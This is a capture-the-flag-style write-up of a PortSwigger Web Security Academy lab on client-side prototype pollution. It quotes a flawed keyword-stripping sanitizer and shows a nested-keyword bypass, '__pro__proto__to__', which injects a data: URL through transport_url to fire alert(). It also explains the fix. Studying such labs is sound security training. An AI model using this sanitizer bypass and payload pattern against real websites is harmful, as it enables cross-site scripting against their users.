| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Prototype Pollution / DOM XSS |
| Difficulty | Practitioner |
| Objective | Bypass a single-pass keyword sanitization on the URL parameter key to pollute Object.prototype via transport_url and trigger alert() |
Client-Side Prototype Pollution via Flawed Sanitization¶
Both __proto__[x] and __proto__.x notation returned undefined — sanitization was stripping the traversal keyword. Checking searchLoggerFiltered.js in DevTools:
function sanitizeKey(key) {
let badProperties = ['constructor','__proto__','prototype'];
for(let badProperty of badProperties) {
key = key.replaceAll(badProperty, '');
}
return key;
}
Single-pass replaceAll on each keyword — that's the flaw. replaceAll removes every occurrence of the substring from the string as it exists at the time of the call; it doesn't re-scan the output. If the blocked keyword is embedded inside itself, the outer characters survive after the inner match is removed:
__pro__proto__to__
↓ replaceAll('__proto__', '')
__pro to__ → __proto__
The sanitizer finds __proto__ starting mid-string and removes it, leaving __pro + to__ = __proto__. The reconstructed string is never scanned again. The fix is to loop until the output stabilizes — replace repeatedly until no more matches are found. A blocklist that needs to anticipate every obfuscation variant is inherently fragile; an allowlist permitting only alphanumeric key characters doesn't need to know the attacks in advance.
Testing the bypass with a benign property:
/?__pro__proto__to__[tetoProperty]=miku
Object.prototype
// Object { tetoProperty: "miku", … }
Pollution confirmed. The gadget is the same as the unpatched lab — transport_url flows to script.src with no own-property definition on config. Once the sanitization bypass is done, the rest is unchanged:
/?__pro__proto__to__[transport_url]=data:,alert(1)
Alert fired.
Lab solved :P